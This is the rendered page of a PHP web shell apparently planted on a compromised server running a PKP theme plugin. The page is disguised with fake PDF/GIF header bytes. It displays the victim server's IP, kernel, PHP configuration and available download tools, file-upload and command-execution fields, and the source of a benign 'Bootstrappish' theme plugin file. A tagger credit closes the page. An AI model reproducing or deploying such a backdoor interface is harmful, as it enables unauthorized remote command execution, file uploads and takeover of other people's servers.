%PDF-1.7 GIF89;
shell
Server IP : 104.20.45.2  /  Your IP : 172.16.20.3
Web Server : Apache/2.4.25 (Debian)
System : Linux f64a392e70de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : application ( 1000)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /app/plugins/themes/BootstrappishTheme/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /app/plugins/themes/BootstrappishTheme/BootstrappishThemePlugin.inc.php
<?php

/**
 * @file BootstrappishThemePlugin.inc.php
 *
 * Copyright (c) 2013 Christopher Anderton
 * Distributed under the GNU GPL v2. For full terms see the file docs/COPYING.
 *
 * @class BootstrappishThemePlugin
 * @ingroup plugins_themes_bootstrappish
 *
 * @brief "Bootstrappish" theme plugin
 */

//$Id$

import('classes.plugins.ThemePlugin');

class BootstrappishThemePlugin extends ThemePlugin {
	/**
	 * Get the name of this plugin. The name must be unique within
	 * its category.
	 * @return String name of plugin
	 */
	function getName() {
		return 'BootstrappishThemePlugin';
	}

	function getDisplayName() {
		return 'Bootstrappish Theme';
	}

	function getDescription() {
		return 'Remaps twitter Bootstrap to fit PKP without modifying templates';
	}

	function getStylesheetFilename() {
		return 'bootstrap.css';
	}

	function getLocaleFilename($locale) {
		return null; // No locale data
	}

	/**
	 * Add a page-specific script.
	 *
	 * Note: Implementing for OCS v2.5.3 support
	 *
	 * @param $url string the URL to be included
	 */
	function addJavaScript(&$templateMgr, $url) {

		$extra_js = '<script type="text/javascript" src="' . Request::getBaseUrl() . '/' . $url . '"></script>';
		$templateMgr->assign('additionalHeadData', $additionalHeadData . "\n" . $extra_js);
	}

	/**
	 * Activate the theme.
	 */
	function activate(&$templateMgr) {

		// Add in jQuery from CMS
		$jQueryCMS = '	<script language="javascript" type="text/javascript" src="http://code.jquery.com/jquery.js"></script>';
		$additionalHeadData = $templateMgr->get_template_vars('additionalHeadData');
		$templateMgr->assign('additionalHeadData', $additionalHeadData."\n".$jQueryCMS);

		// Method addJavaScript doesn't exists on OCS v2.3.5. 
		// Not even the javascript array as in the case of stylesheets
		$object_aux = ( method_exists($templateMgr, 'addJavaScript') ) ? $templateMgr : $this;

		// Add in Bootstrap JS
		$object_aux->addJavaScript($templateMgr, 'plugins/themes/bootstrappish/js/bootstrap.min.js');

		// Add in custom JS scripts to hold miscellany
		$object_aux->addJavaScript($templateMgr, 'plugins/themes/bootstrappish/js/custom.js');
		
		if (($stylesheetFilename = $this->getStylesheetFilename()) != null) {
			$path = Request::getBaseUrl() . '/' . $this->getPluginPath() . '/css/' . $stylesheetFilename .'?bootstrappish';
			$templateMgr->addStyleSheet($path);
		}


	}
}
?>

Anon7 - 2022
SCDN GOK